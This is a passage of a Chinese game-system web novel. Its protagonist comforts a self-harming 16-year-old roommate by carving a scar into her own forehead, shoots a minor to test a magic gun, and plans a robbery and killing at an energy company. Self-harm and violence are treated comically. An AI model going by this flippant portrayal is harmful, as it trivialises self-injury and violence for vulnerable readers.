你就这样把经纪人的房子给安排了，还擅自给他增加了做饭的活计，请问他知道吗？
而且，就这样把两个本应是“竞争关系”的男主丢到一起，这样真的好吗！？
35. 云端能源（25）
李长庚找他的“上线”略微试探，确认警察局那边并没有发现朝晖的踪迹。
玩家潜入排风管道的动作还是比较熟练的，没有留下太多线索。但为确保万一，她还是读档了，回到熟悉的404宿舍。
熟练地拿出手机，准备给经纪人打电话时，朝晖的动作忽然一顿。
裴韫穿着长袖衣服，坐在床边，正在收拾东西，似乎准备去洗手间洗漱。
察觉到朝晖看向她，她小心翼翼地抬头：“姐姐，有什么事吗？”
伤口。
她身上有很多伤口，基本都是旧伤，留下浅浅的疤痕，只要不穿无袖、吊带，就不会露出来。
但她的上臂也有不少新伤口。
朝晖当然没有虐待她，霸凌她的杨家人也不可能进入封闭的节目组，那么这些新伤口是怎么来的呢？
“是有事，你过来一下。”
宿舍内有摄像头，朝晖把她拉进洗手间。
看到裴韫惶恐的模样，她又有些头疼。
——玩家非常不会安慰别人，完全就是“知心姐姐”的反义词。
从小到大，每次听到朋友来找她抱怨、诉苦，她都会一边点头，一边心里希望世界赶紧毁灭。
比起提供情绪价值，她更情愿提出一些实在的解决方法，或者干脆去把欺负朋友的人揍一顿。
——“多喝热水”明明就是非常合理、有效的建议，为什么朋友还是会把她骂一顿然后赶出去呢？
于是，打起boss来冷静机智、虎虎生威的玩家，此刻却别别扭扭地道：“喂，我已经知道你被霸凌的事情了，也知道那个杨什么威胁你的事，我会帮你报仇的，你千万不要再伤害自己了啊。”
“！？”
裴韫毕竟才16岁，心事被戳破，哪怕她并没有想要陷害朝晖，也还是慌乱地下意识去捂裤子口袋。
玩家抓住她的手腕，轻而易举限制住她的行动。裴韫毫无反抗之力，被玩家轻松地从口袋中摸出一把水果刀。
朝晖的眉毛顿时就竖成了一个八字：“喂喂喂，自残是不对的！你先告诉我，你是迫于杨什么的威胁才这么做，不是自己想自残的吧？”
裴韫：“……他叫杨帆。”
说出这几个字时，她才蓦然察觉，哪怕只是提及这个名字，她也不自觉地咬紧牙齿，唇间弥漫着的全是恨意。
或许是之前的存档给她留下了一点影响，又或许是朝晖之前就帮助过她。眼看此事隐瞒不住，裴韫不再抵抗，腿一软，坐倒在地上。
“你怎么知道……？算了，你知道也很正常，毕竟你……”
她低喃着，不知不觉间流露出强烈的羡慕：“毕竟你那么完美……那么聪明，不是吗？”
真正地去了解朝晖，就会发现，她根本不笨。
只是由于对大部分事情压根“不在意”，所以看起来傻傻的而已。
发现了这一点之后，身处于泥沼的人便很难不对她产生某种强烈的情感。
裴韫开始哭了。她头一次如此地想要倾诉，想把自己那么多、那么多的委屈全都倾诉出来。
她语无伦次、乱七八糟地说着，朝晖静静地坐在旁边。
裴韫以前也试图和公司里的女性长辈倾诉过，对方却说：“没办法，大家都是这样过来的的。杨帆已经不错了，他有钱，对你也算大方，有他在，你暂时不会遇到更多乱七八糟的事！”
“忍忍吧，让他多给你花点钱，抓住机会往上爬，以后就好了。”
以后真的会好吗？
“不会啊！”
“这不是你问题，是社会的问题。”朝晖道，“他们是在pua你，强迫你去忍耐、去习惯，直到最后，你也会变成维护这个制度的一员，变成了伥鬼。”
“是这样吗……？”
裴韫觉得很新奇，她第一次听到这样的话。
过去的委屈和不满，那种与她人想法不同、却无处倾诉的压抑和愤懑，忽然就全都泄了出去。
眼泪再次落下，裴韫的眼睛肿成了核桃，身体一抽一抽的，却依然哭个不停。
“当然啦，啧，唉，你不要难过啊！我最害怕别人哭了！”
朝晖唉声叹气地对系统抱怨，“可恶，她怎么还在哭？是不是我说得不好？到底要怎么安慰小女孩npc，有没有什么套路、攻略之类的，你倒是给我支个招啊！”
系统：……你问我一个ai有什么用！？
情急之下，机智的它紧急上网查阅了一段攻略，然后开始一本正经地棒读。
“一般来说，安慰她人，最重要的地方是要能与对方共情——她可能觉得你不能理解她的苦难，毕竟你们太过不同，所以没有被你安慰到。”
“创造一个环境、一个契机，让她感觉到你和她是站在同一个阵营里的，可能会起到不错的效果。”
系统说得信誓旦旦，仿佛这是一个绝世好点子。
朝晖恍然大悟：“没错，是这么个道理。可我也不能复制她的经历跟她共情啊……找个其她人来安慰她，小红？也不行，小红看起来脾气很臭的样子，这件事也最好别让别人知道。”
“唔，她会不会是因为自己身上有很多的伤口，觉得不好看，很自卑？”朝晖忽然一拍大腿，对着镜子看了看自己。
玩家的角色根本不会留疤，在洗手间灯光的照映下，美丽得像在发光。
她想象了一下，假如一个年薪百万的家伙跑过来安慰她“穷一点没什么，重要的是快乐”，她肯定也会觉得对方假惺惺的，一脚踹飞之。
啧，果然就是因为这个吧！
“有没有办法让我留个疤啥的？”朝晖问。
“……？”
玩家的血量只要是恢复到满值，疤痕就会自动消失。
但也不是没有办法……
“叮！已为您提前解锁【造型】功能。”
系统给上级打完报告后，就给她开了后门，“该功能可以帮助您方便地改变发型发色、进行造型设计，一般来说要等到您正式出道才会解锁。目前所有功能暂时锁定，只有【纹身】部分可用。”
“哇塞，统子，爱你！”朝晖立刻明白了系统的意思。
纹身的范围很宽泛，常见的黑色、彩色纹身叫做刺青，但还有一种比较小众的纹身，以“疤痕增生”作为纹身方法。
在皮肤上绘制出图案后，纹身师会将图案部分的皮肉仔细地切割掉，留下伤痕，并通过专业方式让其愈合、导致疤痕增生，形成具有立体感的、突出皮肤的纹身。
这种方法很痛，也很小众，但说到底也是纹身的一种。
“那我就来个疤咯？魔法少女
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的话，就在这里吧！”
朝晖捡起地上的水果刀，对着镜子撩起头发，在左边的额角划出一道弯弯的痕迹，并将那一块的肉挖掉。
然而她的技术有限，这玩意儿不像闪电*，反而更像是半轮丑丑的月亮。
“符合生成条件吗？”朝晖对着镜子兴奋地左看右看。
血从她的额头哗啦啦地留下来，大半张脸都变绿了，看起来怪吓人的。
系统：“……勉强符合，已经为您生成纹身。”
血淋淋的伤口消失，增生迅速地形成，膨胀之后填补了坑坑洼洼的边缘，中间略宽、两边细长，倒是不丑。
就是完全看不出闪电的痕迹了：）
“猫猫！快看！！”
裴韫哭得脑子有点懵，没有注意到朝晖刚才在做着什么。
她抬起头，第一时间看到的，是那把放在洗手台上，血迹斑斑的水果刀。
“！？”
裴韫猛地起身，又因为坐了太久而头晕眼花，眼前一黑，被朝晖拉住。
“看我额头，额头～”朝晖两眼放光。
裴韫怔怔地看着她。
她脸上残留着血液流淌的痕迹，被她随手抹了一把，根本没有洗干净。
如此近距离，她的脸上依旧是完美无瑕，鼻尖上都看不清毛孔。
精致的五官，明亮的眼睛。
一切都是如此完美。
但她的额头上，多出了一个……一个伤疤？
她根本就没有受伤——好吧，看这水果刀和脸上的血迹，可能受伤了——但伤口会这么快愈合吗？
“……月亮？”裴韫喃喃。
本来想表现成“闪电”的弯曲部分似乎被【纹身系统】进行了修补，这两头尖的形状，像一轮弯月。
“是闪电！魔法师呀～哎，好吧，月亮也不是不可以，月之美少女～！”
哪怕以玩家的脸皮之厚，也没办法强行指着这个痕迹说它是闪电。
毕竟镜子就在旁边呢！
月亮也不错，她对着镜子做出一个美少女战士的动作。
“你神经病啊，弄个疤干什么……”裴韫晕乎乎地说。
好像，说话也不用那么小心翼翼了。
都这样了……朝晖怪她就怪她吧。
“啊，这不是因为你有伤疤，我没有，显得我不够厉害嘛！”朝晖立刻就挺胸叉腰，信心满满地道，“俗话说得好，疤痕是一个女人的勋章！不完美才是完美，断臂维纳斯你知道不？”
“总之我的意思就是，你的伤疤没什么，你看我不也有一个了？别哭啦！”
其实裴韫本来也不是因为伤心才哭的。
经过一段时间的发泄，她的情绪也平复了许多。
但看到这个伤疤，忽然之间，猫猫室友鼻子一酸，眉毛一皱，再次稀里哗啦地哭起来。
哭得特别伤心、特别大声，脸都皱成了一团，呜哇呜哇的，边哭还边抽抽噎噎地骂：“你脑子有病啊！？没事在脸上弄个疤干什么？？你、你还想不想出道了？神经病啊？！快，快去医院，现在就打电话，叫救护车，这个用医疗仪器可能可以去掉……”
玩家：……
系统：……
朝晖小声说：“统子，都怪你给我出的馊主意，根本就没用嘛！她怎么又哭了？”
36. 云端能源（26）
裴韫很担心玩家去干傻事，不过她哭得很累了，朝晖也没搭理她，交代一句“赶紧睡觉”就迳自出门。
她没忘记存档——可不能再让她来一次了！看别人哭简直是比打boss还要可怕的事情！！
卫文谨对她产生了警惕之心，然而把柄在人手，朝晖喊他，他不得不来，一来就被敲，毫无反抗之力。
伊尔莎也没办法阻止朝晖，因为新存档内，玩家完全不需要再去大厦踩点。
给经纪人打完电话就直接叫上伊尔莎一起出发，上车后敲晕经纪人，熟门熟路地开到贫民窟把李长庚接上……
“你的黑客朋友呢？”
“……？”
“就是能改通话记录的那个。”
“……要改什么记录？”
朝晖一愣。
对哦！
本周目之内，她们并未在电话中谈论过什么敏感话题。
但黑客朋友这种资源，当然是要拿在手里才安心嘛！
于是玩家表示可以先认识一下，以后再拜托对方做事。
有了上周目的“潜意识”铺垫，加上朝晖的被动技能“魅惑”，伊尔莎犹豫着还是选择相信她。
“这样的话，你也不是一定要见到她吧？我可以把她的联系方式给你，她会接单的。”
“哦，既然这样，以后有需求的话你就帮我交待吧！”朝晖很有当老板的自觉，立刻就把事情委派给小妹来办。
“……也行。”
伊尔莎坐在副驾驶，李长庚坐在后排，眼神时不时地就朝昏倒在座位上的卫文谨瞟。
他纠结了很久，才终于拿出手机，给自己堂姐打字：“不会有事吧？”
“叮！”
伊尔莎的手机发出提示音，在安静的车内无比显眼。
李长庚立刻就低下头，仿佛做错了事的小孩，心虚得很明显。
伊尔莎看了一眼后视镜，再看了眼朝晖，发现她心无旁骛地开着车，压根没注意到他们的小动作。
……真是自信而又心大的老板啊……
从某种程度上来说，跟这样的老板共事也不错。
四人小队于经纪人家中集结完毕，有了李长庚当苦力，把卫文谨扛上楼的活计就不需要玩家亲自来干了。
当卫文谨悠悠醒转，揉着酸痛不已的身体和阵阵刺痛的后脑勺从沙发上爬起来时，就发现自己家早已被鸠占鹊巢，被三个不速之客占据。
当事人朝晖打开冰箱，把为数不多的一点水果拿出来大吃特吃，一点儿都没有分给客人（？）和主人的意思。
看见卫文谨醒来，她还不满地道：“你家冰箱怎么空荡荡的？有没有吃的啊，要不点个外卖也行！”
卫文谨：……
卫文谨看天，看地，真的好想一头撞死算了。
似乎是察觉到了他的心情，伊尔莎和李长庚都乖巧地道：“您再休息一会儿吧，我们来点外卖。”
这俩人都一看就是小孩子，朝晖不算是个正常人，自觉是在场唯一靠谱成年人的卫文谨忙起身道：“不用不用，我来——”
话音未落，他后脑一痛，眼前一黑，一个不稳跌回了沙发上。
“！”
李长庚连忙想要去扶他，却在接近沙发时，蓦然止住脚步，下意识后退一步。
他的衣服脏兮兮的，进入这个干净的家后，时时刻刻觉得自己格格不入。
洁白的沙发，简洁大气的地毯，光可鉴人的地板……光是触碰到这样的场所，就已经令他心生畏缩。
这一个犹豫之间，卫文谨已经靠回沙发，闭眼揉太阳穴，眉头紧皱。
啃着水果的玩家，或许是经历了今天猫猫哭泣那件事的洗礼，竟难得良心发现了一回：“哎，统子，我是不是下手太重了点？小卫他不会有事吧？”
系统：“他的身体素质很好，应该没事。不过为了让他多活几年……呃，为了让他可以长久地给您提供异能，还请您多多注意吧！”
“有道理！”
朝晖善于纳谏，马上拍拍卫文谨的肩膀：“好啦，你快去休息一会儿，然后我再把我的计划告诉你们，等会儿还有一个大行动要你们配合呢。”
卫文谨：“……？”
虽然不知道所谓的“大行动”是什么，但他用脚趾头想也明白，她绝对又要搞一些麻烦事。
可卫文谨还是有了那么一丝丝的欣慰。
啊，她让我去休息诶。
经纪人叹了口气，扶着沙发慢慢站起来：“我没事。来，这位是……”
伊尔莎忙道：“卫先生，他是我的弟弟，叫李长庚，木子李。”
“长庚？好名字。”
卫文谨没有过多追问，而是走到房间拿了一套新衣服：“长庚先去洗个澡吧，我的衣服你应该能穿。莎莎，你拿我手机点个夜宵外卖，给朝晖多点一些，不用省，等会儿我付钱。”
三言两语之间，就把两个小朋友安排得明明白白，朝晖不禁道：“小卫好贤惠。”
系统：……
折腾一番之后，超大分量的烧烤外卖订单来了；小李洗得干干净净，乖乖坐在沙发上了；卫文谨给后脑勺抹了点药，又吨了一杯特浓咖啡，顿时社畜附身，精神百倍了；莎莎也趁此机会联系了她的“黑客朋友”，大概交代了一下朝晖的事情。
玩家拥有一种特别的能力，就是她能随时随地无视身边其他存在，陷入自己的世界里。
其他人忙碌的时候，作为把他们拽入这场混乱的中心人物，她大咧咧地钻进客房床铺的被窝内，玩起手机小游戏。
卫文谨提着几大袋子烧烤来敲门：“吃饭了，有烤鱿鱼……”
亲眼目睹朝晖的食量，卫文谨和莎莎习以为常，弟弟眼睛瞪得溜圆。
“所以，到底是有什么事情？”卫文谨等她吃得差不多了，才开口。
他刚才已经悄无声息地摸清了李长庚的底细——这倒不是什么秘密，很容易就查得到。
母亲生下他没几年就去世了，父下落不明，如今独自住在贫民窟区域，以修车为生。
这门手艺是他在“贫民窟异能者联合会”的技术班学到的。
毫无疑问，李长庚是一个异能者。
……怎么好像一遇到朝晖，异能者就跟大白菜似的随处可见了？
总之，李长庚的异能不明，但根据资料，似乎是一种少见，却不厉害的能力，不足为惧。
朝晖道：“事情就是，明天早上陪我去云端能源大厦……等等。”
上次她去的矿场，地处郊区，施行的是抢劫之事，所以卫文谨大咧咧地把车停在那附近，问题也不大。
这次要杀人，两种犯罪行为（？）的严重程度不可同日而语。
要是想成功逃脱、不进局子，各方面的细节就必须更加严谨才行。
有新来的弟弟在，可以拜托他去跟踪警察局的动向，一旦事情出现意外，她就可以迅速读档，不浪费时间。
若行动成功，为了不留下小尾巴，小卫最好能处于一个绝对不会被怀疑的位置。
至于弟弟的异能，上个存档她就打听过了——伊尔莎在确定投靠她之后，就不再隐瞒关于李长庚的事情。
非常遗憾的是，那是一个对普通
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人来说有奇效，对玩家却没什么作用的异能。
鉴于朝晖目前还没有将【创作】升级到足够她复制两个异能的地步，最终她还是决定使用经纪人的触手来完成本次暗杀。
“这样，你们听我说……”
*
云端能源大厦美好（？）的一天，从早上九点钟开始。
市中心的大部分公司均实行保底996制度，周六的清晨，街道上人来人往，高级上班族们左手咖啡、右手公文包，眼下青黑，行色匆匆。
一位女性职员好不容易挤进拥挤的电梯，轻轻松了口气。
电梯内人挨着人，彼此之间的距离过近，让内向的她很不喜欢。
好在今天不知道为什么，上来的人数比想象中要少一些——她正是最后的那个幸运儿，下一个挤进来的人让电梯发出了刺耳的超重提示音，只好悻悻然离开。
也许是今天电梯上的职员都比较重吧。
这让她多出一点喘息腾挪的空间。
目的地位于33楼，中途还会停靠好几次，她忍住不适，把注意力强行转移到别的地方。
偶尔有互相认识的职员小声交谈，声音不大，只能听见电梯上行时发出的声响。
“？”
职员耳朵微动，总觉得……
总觉得今天的声音，和往常有些不同。
云端能源有钱有权有势，独自拥有一整栋大厦，内部装修自然也是极为讲究，这部电梯采用最新科技，运行时简洁流畅、悄无声息，几乎不会带来不适感。
然而，今天的它吃力地爬升，在停靠时，发出的声音有些闷闷的，就像是与绳索摩擦的部位不只是金属，而多了些什么别的一样。
“怎么了？”
她旁边站着的正是与她同部门的同事，见她表情奇怪，忍不住出声询问。
职员忙摇头：“没事没事，是我昨晚没睡好，有些疲惫。对了，今天预约过来会见杨经理的那位……你和他对接了吗？”
杨帆是股东的儿子，也是她们部门的经理。公司内部派系亲属空降这种事情非常常见，大家见怪不怪，对经理也都保持尊敬。
“卫先生吗？”同事道，“放心吧，对接好了，他很快就会抵达。我收拾好之后乘经理的电梯去接他。”
杨茉、朝晖的事情，最近也算是闹得沸沸扬扬。虽然是股东的个人行为，但云端能源或多或少受到了一些影响。
职员们表面上不说，私下里可没少讨论这件事。
今天早晨，卫文谨忽然跟杨帆联络，说要谈一谈关于朝晖的事情，声称朝晖那边可以退一步，让双方达成一致，尽快将这件事的后续影响抹平。
杨帆内心如何做想，旁人不知，总之他很爽快地同意了预约，并表示早晨他就有时间，可以马上面谈。
“希望能尽快解决掉这件事。”职员小声说。
电梯里都是打工人，洛川又是一座娱乐业极其发达的城市，人们或多或少都有在追星，再不济的也会关注一下社交网站上的新闻。
大家竖起了耳朵，闻言均暗自点头。
看杨经理的德行就能知道，他妹妹绝对好不到哪去——出于某种心理，在杨茉与朝晖的这场争议当中，大部分吃瓜群众都是希望朝晖能够胜利。
即使从公司角度出发，风波快递平息也有助于股价恢复、工作回归正常。
“放心，一切都会顺利的。”同事对她笑了笑。
“叮”，电梯抵达33层。
女职员和同事一起走出电梯门，电梯也发出了细微的“吱吱”声，轻轻一抖，就好像卸下了什么重担。
37. 云端能源（27）
朝晖在电梯井中飞快地爬行。
经理办公室四周的管道口内都布有报警器，这玩意儿没点高科技，实在是拆不掉——就算是把它毁掉，它也能发挥出应有的效果。
毕竟，报警器都被毁了，那不正说明这地方出事了吗？
她总不能带着那位素未谋面的、莎莎的黑客朋友，钻进管道干这个吧？
报警器响了没关系，问题是杨帆那家伙鬼得很，一听见报警铃声就脚底生风，溜得飞快，把他办公室的安全门一锁，就往楼下跑——
朝晖可以万军之中取其首级，但她实在是没办法进入那个墙壁全是金属制造的全封闭房间内，把他的钱抢出来呀！
那种厚度的墙壁，热武器都不一定能轰开，她把触手磨秃了估计也磨不出一个小洞。
办公室后面的柜子里，就锁着他最宝贵的财产——那是朝晖上个存档得知的情报，也是她除了杀人之外，最重要的目标。
回档两次后，朝晖想出一个新方法：从正门进入。
直接走门，是唯一一个不会触碰报警器的方法。
除此之外，已知朝晖和杨茉有仇，那假如前一天晚上她请假离开宿舍、带伊尔莎和一个异能者（李长庚）去往经纪人家里，第二天杨帆就挂掉，这也太可疑了。
哼，玩家绝不会再小瞧警察的ai！
所以本次新存档，朝晖把莎莎留在了《星光》拍摄地，自己想了办法偷偷从里面溜出来。
她没去找李长庚，而是让莎莎通过电话的方式和对方隐晦说明此事，拜托他提供支援。
现在的难题就是，药太贵了，去抢劫的话会引起不必要的注意，所以她能够变成触手的时间非常短暂。
上网一查才发现，她之前抢的回血效果比较好的药物，不仅贵，还大都需要开处方！！
这根本就是逼迫玩家去干一些不符合洛川市法律的事情嘛！
在经纪人幽怨的目光下，朝晖拿着他的钱去药店，买了一些效果不太好的非处方回血药，带在身上以防万一。
由于拿到异能之后，大概会过一分钟左右时间才会开始掉血，那么最经济省钱的方式就是“少量多次”使用异能。
可经纪人那么一个大活人，实在是没办法随身携带啊。
想到此处，朝晖咬牙：“实在不行，我就先把【异能储存模块】用掉。”
可她手头优秀的原材料真的不多，【偷盗之手】的技能等级也不高。
她用出的异能的效果，是随着创作技能制作出的“道具”的级别而定。
就算她后续升级了技能，已经做出来的道具也没办法加强，还是会维持原来的效果。所以现在就制作的话，实在很不划算。
这么珍贵的东西，用掉了之后，一时半会儿可不一定能拿到下一个。
但材料，不就是要用的嘛！
该用的时候不用，这游戏玩得还有啥意思。
拜拜就拜拜，下一个更乖。
想明白之后，朝晖也不心疼了，而是物色起合适的原材料。
“好想要一把枪！！”玩家又开始在床上打滚。
此次存档内，她并没有请假出去，而是跑到了伊尔莎的员工宿舍，并大摇大摆地无视了莎莎所有的室友，瘫在了她的床上。
室友用怜悯（？）的眼神望向伊尔莎，然后飞快地溜之大吉。
伊尔莎：……
“您要枪的话……其实，长庚那里藏着一把。”莎莎忽然开口。
“？”
玩家一个猛子从床上翻起来。
为了这把枪，朝晖跑到卫文谨为她租的仓库内，几乎花掉了上次抢来的大半晶石，从周五的晚上肝到周六清晨刷【创作】，再加上之前练习【唱歌】【跳舞】所积累的经验，终于是又升了一级。
赠送的一个天赋点，被她点在了【偷盗之手】天赋树后续的加强天赋上面。
【强化（被动）：强化你的偷窃能力，将复制效果提升至75%。】
时间紧急，精力有限，再多的天赋点她也肝不出来了。
“杨帆不过是个普通人，杀他应该没什么问题。”朝晖蔫蔫道，“就是可惜了这把枪，还有我的异能存储模块。”
希望杀掉boss之后掉落的能源，能让她多多刷技能、快快升级吧。
站在她旁边的李长庚：“……”
本周目之内，为了尽量不引人注目，朝晖是没有叫经纪人出门的，而是自己从宿舍溜到了附近的街区，再让李长庚开着一辆假牌照小破车来接她去仓库，顺便把枪给她。
李长庚做了好一会儿心理建设，小小声开口：“老板，这把枪……会还给我吗？”
“嗯？”
这是一把比较常见的手/木仓，感觉和她看过的电视剧、电影里的款式差不多。
看莎莎他们姐弟俩的意思，貌似是李长庚好不容易搞来的，方便他做“黑手套”的任务，弄丢了的话会很麻烦。
伊尔莎以为她只是借用，可朝晖是要搓道具呀，怎么可能会把道具还回去？
玩家毫无羞愧之心地画大饼：“我到时候去安全局要一把给你，放心！”
李长庚：“！？”
他觉得这句话听起来不太妙，然而朝晖已经不再搭理他，把精心准备的材料丢进【创作】界面。
“原材料：手/木仓*1，大功率储能电池*1，速效液体绷带*1。附件：异能存储模块。”
“需要能源：22单位。”
！
要这么多能源，看来做出来的东西不会太差！
能源是足够的，朝晖马上点击“开始创作”，她此前特意睡了两个小时回满的精力，“唰”地一下便到底了。
“叮——创作成功！”
“您获得了【电击治疗手/木仓】。”
【电击治疗手/木仓：
它发誓，自己将治疗一切网瘾患者！
对网瘾患者使用，使对方获得“触电”debuff，每秒减少10点血量，持续8秒。结束后，使其恢复60点血量。
对没有网瘾的人使用，触电效果会减弱90%，治疗效果不变。
每次射击有50%几率触发“偷窃（被动）”。
子弹存量：6颗。恢复速度：10分钟/颗。
附件：异能存储模块。
可以储存一个偷窃的异能。】
“哇！”
朝晖之所以把有回血效果的东西丢进去，就是担心这枪会一不小心把经纪人给打死了。
但目前来看，这把枪的子弹应该和普通子弹不同，很可能不会对敌人造成伤害，除非对方有网瘾。
……经纪人应该不是网瘾青年吧？
她甚至可以把它当作治疗技能！
六颗子弹，恢复速度也挺快，她可以先试验一下。
亲眼目睹她手中的材料无故消失、一把长得和他的手/木仓不太一样的枪凭空出现，李长庚的眼睛瞪得老大。
他立刻就明白，老板是绝对不会把他的枪还给他了！！
可她……
还没等李长庚把脑中乱糟糟的思绪理清楚，他就看见面前的漂亮少女转过身，用一双明亮的大眼睛兴致勃勃地盯住他。
“小李，虽然你这个年纪的孩子都喜欢打游戏，但看你的样子，应该是没有网瘾的吧？”
完全没有搞清楚她的脑回路的李长庚，懵懵地下意识回答：“没有吧…
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…？”
“那就好，正好你的异能也很适合！”
朝晖笑眯眯地调转枪口，把枪放在了一个绝对不会打歪的位置——
也就是直接顶在了李长庚的胳膊上。
然后……砰！
枪声响起，李长庚立刻以肉眼难以捕捉的速度一跃而起，整个人灵活得不可思议，一瞬间就打开车门、逃到了十几米外的地方！
朝晖眼睛一花，什么都没看清。
“完了！”她猛捶大腿，“我知道我的弱点了，敏捷太低，面对这种速度型的对手，很有可能会被对方放风筝遛着玩！看来，以后加点还是得把敏捷也加上呀！”
敏捷并不会提升玩家的“移动速度”，事实上，力量高、耐力强的人移动速度往往也不会太差。
它主要是能够提升“神经反应速度”以及“爆发力”，在争分夺秒的战斗中能起到奇效。
系统：……
你是不是搞错了重点啊喂！！
不应该先关心一下被你崩了一枪的那位吗？
未成年人不可以谈恋爱，但是可以吃枪子是吗！？
“回来呀！”朝晖对着窗外挥手，“受伤严重吗？快给我看看，我可以回档的。”
读档=圣疗术，满血复活才是最强的治疗！
李长庚：……
刚才是他下意识的反应。
逃离之后，他才发觉，自己似乎根本没有受伤。
身上有种轻微的酥麻感（触电），之前受过重伤的腿部，以及严重贫血导致的身体不适，这些连使用异能都无法完全恢复的伤病，似乎都减缓了一些。
“诶……？”李长庚一愣，抬起头，看向朝晖的目光带着警惕和迷茫。
像试图保护自己的幼犬。
“亲爱的玩家，李长庚因为异能的缘故，曾遭受过很不好的事情，因此伊尔莎之前才不敢对您透露他的存在。您现在拿他做实验，会触碰到他最痛苦的回忆……”系统觉得自己不存在的头开始痛了。
这好感度还能不能要了？
“是吗？”朝晖说。
【无限愈合】。
这是对李长庚异能的概括。
游戏世界中的异能，并没有类似元素周期表一样的固定名称，因为每个人的异能都是不一样的。
哪怕是相似的能力，细节上也会有所差异。
像朝晖这种，一般概括为“力量型”“自我隐藏型”，余烬那种则是属于“火系”，但他的异能似乎还有一定的爆破能力。
卫文谨的触手，若是没有那种奇怪的污染，则属于正常的“变形类”。
若是朝晖读了当时姜局长给她的ppt和教学资料，就会明白，李长庚的异能属于典型的“血肉型”，通过短时间内增强细胞活性、加快新陈代谢的方式，快速地治愈自己的伤口。
可能量是有限的，就像经纪人连自己都不敢使用自己的异能一样——一旦发生了不可逆的转化，后果就会非常严重。
李长庚的自愈，是依靠消耗自己的生命力来进行。
他非常瘦，脸色苍白，重度贫血，严重的旧伤也无法完全恢复。
廉价好用的消耗品——比使用治疗仪还要便宜，是执行危险又见不得光的任务时最好用的人选。
朝晖询问过系统，这个异能对她来说没什么用，因为李长庚相当于是通过让自己掉血的方式止血……
长久下去，可能会让血量上限降低（耐力下降），变成李长庚如今的样子。
玩家不需要止血呀！她又不怕受伤影响行动。
“是美强惨的时髦人设啊。”朝晖毫无良心地嘀咕着，“放心，既然成为了我的员工，以后……不会再这样了。”
38. 云端能源（28-29）
（28）
最终，经过玩家缜密的计划，经纪人在她的指使下预约了和杨帆的会面。
进入大厦前，她就存储好一次异能，并变身成触手潜入进去。
一分钟时间到了之后，她就会变回人类，沿着电梯井避开监控，来到33楼。
这样一来，少数几个无法避开监控的位置，都只会出现触手的痕迹，后期警察查不到她头上。
经过两次试错，她成功找到了电梯井内连接33层办公室的排风管道，从这里破开墙壁进入的话，不会触发报警器。
恐怕负责大楼保卫设计的人也不会想到，会有一个人能徒手沿着电梯井攀爬，并在不借助任何设备的情况下把一面墙捶开。
“咔哒”。
走廊尽头的清洁工具间，排风扇管道口盖子被一双洁白的手轻轻卸下。
当然，锁扣是被暴力破坏的就是了：）
她在黑暗的房间内静静潜伏——没有心跳，没有呼吸。
清洁工阿姨像往常一样打开门锁，她对这个工具间内的一切摆设了如指掌，微微低着头，熟门熟路地拨开略显凌乱的清洁工具，试图找到她想要的那一瓶清洁剂。
一张苍白的面孔浮现在眼前，笑意盈盈。
走廊上隐隐约约透入的光线，让这张精致得不似真人的脸仿佛莹着月光。
阿姨的瞳孔一缩，心脏骤停！
下一秒，她的身躯软软倒下，被一双纤长的洁白手臂扶住，轻轻放在地上。
清洁工阿姨的消失非常突兀，后期警察查监控一定会发现，但短时间内，忙碌的职员们并不会察觉什么异常。
谁会注意到工作场所的清洁工正位于何处呢？
她在此处静静等待，时不时看一眼阿姨的手机，直到和卫文谨约定的时间到来。
从大门进去。
朝晖从来不需要隐藏杀人的意图，她只需要隐瞒自己的身份而已。
她也不怕被人发现，只希望被发现得晚一些，让她有足够的时间杀人越货逃跑一条龙。
由于身高和脸蛋都很显眼，朝晖决定打扮成男性。她在清洁工工作服内套上了提前准备的好几层衣服，特地在鞋子内垫了增高，用口罩和帽子把自己遮得严严实实。
这段通往办公室的路程，是唯一有可能暴露的地方。
她准备了一大堆清洁用具，并用推车遮挡自己的身形，快速来到杨帆的办公室门口。
时间点卡得刚刚好，此时秘书刚好带着卫文谨进去，密码锁的门还没关上。所以朝晖轻轻侧身，推着那辆工具车就挤了进去。
密码门在她的身后缓缓合拢。
毕竟是经理的办公室，里面只有一个摄像头。但她并没有第一时间处理掉它，而是在杨帆皱着眉察觉不对的时候，咣咣咣三下，把卫文谨、杨帆、杨帆秘书三个人全干脆利落地敲晕。
然后她才选择打掉摄像头。
系统：“！！”
接下来要做的就是打开保险柜，取走财物，干掉杨帆，跑路！
它的心脏（？）已经开始扑通扑通直跳了。
“一时半会儿的估计警察还不会发现。”朝晖嘀咕着，熟练地用杨帆的身体打开保险柜。
这些都在之前的存档就尝试过，三重验证的保险柜也挡不住她，因为她已经问出了密码。
里面放着的，是一块晶石。
“极品晶石。”系统愣住，“这么小的体积，却非常纯净，能源含量不低于3000单位……”
“才3000？”朝晖皱眉。
系统：“……”
你的语气是认真的吗！？
“这东西有价无市，要是你能处理掉它，换几千几万个3000单位的劣质晶石都行。”
能不能处理掉可以再议，先捎上总归没错。
朝晖回头看了卫文谨一眼，把卫生纸撕下来“piaji”一声贴在他的脸上。
存储着异能的手/木仓，必须得先将其释放出来才能再次复制/储存。
本着能省就省的原则，哪怕子弹的自然恢复速度并不算慢，她也没有浪费两颗子弹来置换，而是选择了卫生纸。
昏迷过去的经纪人，身体抽搐起来，竟然也不忘敬业地舞动双手，开始打蚊子。
系统：……
朝晖也忍不住无语：“这算不算是一种因果律武器啊？”
目前为止一切很顺利，她连存着的异能都没有用掉。
两个异能的时间，应该差不多能在第二次的血量掉光之前跑掉。
卫生纸很快发挥功效，潮水般的黑色触手沿着地面流水般铺展，每一根都有三米多长，上面密布着滚动的横瞳眼珠。
“它”沿着屋顶，以肉眼几乎看不清的速度前行，不忘分出两根触手将杨帆卷巴卷巴，一块儿钻进了厕所后方的下水管道。
警铃大作。
这也没办法，办公室内倒也有通风管，但是根据玩家对于路线的研究，钻这个通风管道就得在大厦内绕很大一圈的路。
管道口的盖子竟然也被杨帆这家伙设置了高级的锁扣，暴力破坏会触发警报。
综合之下，还不如钻下水管道，一路溜进城市排水系统算了。
“玩家不打算杀死他吗？”系统问。
触手可以把自己挤得扁扁的，杨帆可就惨了，被死死勒住不说，暴露在外的皮肤还在狭窄的管道口内摩擦，留下无数道血痕。
他被痛醒好几次，都被朝晖再次狠狠敲晕。
朝晖摇头：“当然不，我还得问出他爸在哪。”
杨勇作为股东，倒是不用996，今天有可能在家，也有可能在别的地方。
一分钟转瞬即逝，但朝晖离下水口还有一段距离。
她犹豫片刻，选择掉血扛过这段时间，而不是用掉珍贵的、存在手/木仓内的异能。
杨帆悠悠醒转的时候，便发现自己浑身痛得仿佛散了架，忍不住嘶哑地呼喊起来。
